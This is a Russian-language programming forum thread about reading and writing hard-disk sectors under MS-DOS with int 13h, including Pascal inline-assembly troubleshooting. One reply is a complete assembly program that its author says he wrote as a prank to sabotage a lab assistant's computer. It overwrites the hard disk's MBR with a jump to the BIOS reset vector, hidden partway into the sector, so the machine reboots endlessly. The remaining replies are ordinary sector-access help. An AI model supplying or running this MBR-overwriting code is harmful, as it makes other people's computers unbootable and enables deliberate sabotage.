Граждане, позарез нужон пример чтения/записи сектора c винча под MS-DOS на чем угодно. Может завалялась у кого для себя писанная дллка с двумя функциями типа [read/write]sector(Drive:byte; SectorNo:dword; Buff:pointer) в массив из 512 байт. Пробовал на асме через прерывания ни черта не выходит Заранее спасибо
Ясно что можно и через int13 и через int21. К бабке не ходи! Только как?!. Я в асме не силен вот и прошу типа какой нить пример
Примерно так: mov bx,offset buffer mov ah,02h ; 03h запись mov al,01h mov ch,00h mov cl,01h mov dh,00h mov dl,80h int 13h
Google http://www.codenet.ru/progr/dos/int_0012.php http://www.wasm.ru/article.php?article=1007001#FUNC13H
Даю пример 100% рабочей проги писал я ее более 12 лет назад. Прога западло ! Была написанна для облома одной лаборантки в комп. классе. Смысл проги. Читает MBR а затем подменяет в нем команду. На перезагрузку. Но не в начале MBR сектора а через 15-20 команд (это если какой умник посмотрит начало MBR сектора) Результат работы комп пытается загрузиться но после загрузки MBR вновь перезагружается. Код (Text): code segment org 100h assume cs:code,ds:code start: push ds push ax push si mov ax,cs mov es,ax mov bx,offset bf mov ah,02h mov al,01h mov ch,00h mov cl,01h mov dh,00h mov dl,80h int 13h push cx es ds di si mov cx,dlinna push cs push cs pop es pop ds lea di,bf lea si,zapadlo rep movsb pop si di ds es cx ok_1: mov bx,offset bf mov ah,03h mov al,01h mov ch,00h mov cl,01h mov dh,00h mov dl,80h int 13h pop si pop ax pop ds int 20h bf db 512 dup (0) zapadlo: cli xor ax,ax mov ss,ax mov sp,7c00h mov si,sp mov es,ax mov ds,ax sti cld mov di,600h mov cx,100h repne movsw db 0eah,0f0h,0ffh,00h,0f0h dlinna=$-zapadlo code ends end start
Класс! спасибо. только я наверное тупой. Вставил кусок Код (Text): var bf:array [0.511] of byte; asm push ds push ax push si mov ax,cs mov es,ax mov bx,offset bf mov ah,02h mov al,01h mov ch,00h mov cl,01h mov dh,00h mov dl,80h int 13h end; в паскаль а bf пустой как был до чтения пустой так и остался.
Лирически напевая ... Какой ты был такой ты и остался,но ты и дорог мне такой... Ты под MS DOS запускаеш ?
есно виснет ) с чего ты взял, что var bf:array [0.511] of byte; размещает данные в сегменте кода? и после push воощето pop не следует забывать ЗЫ: Возьми TASM или fasm и не парься с паскалем
в том то и дело что я понятия не имею в каком сегменте размещается bf. тем более в паскале мне паскаль по любому нужен. надо в него асм вписать.
ладно попробуй так: Код (Text): var bf:array [0..511] of byte; asm pusha push es push ds mov ax,ds mov es,ax mov bx,offset bf mov ah,02h mov al,01h mov ch,00h mov cl,01h mov dh,00h mov dl,80h int 13h pop ds pop es popa end; хотя давно я в паскаль не заглядывал и не помню ни его сегментацию ни нужно ли сохранять регистры в асм вставках или они сами сохраняются
Y_Mur насколько я помню, там оптимизации почти нет, и компилятор не полащгается на значения регистров.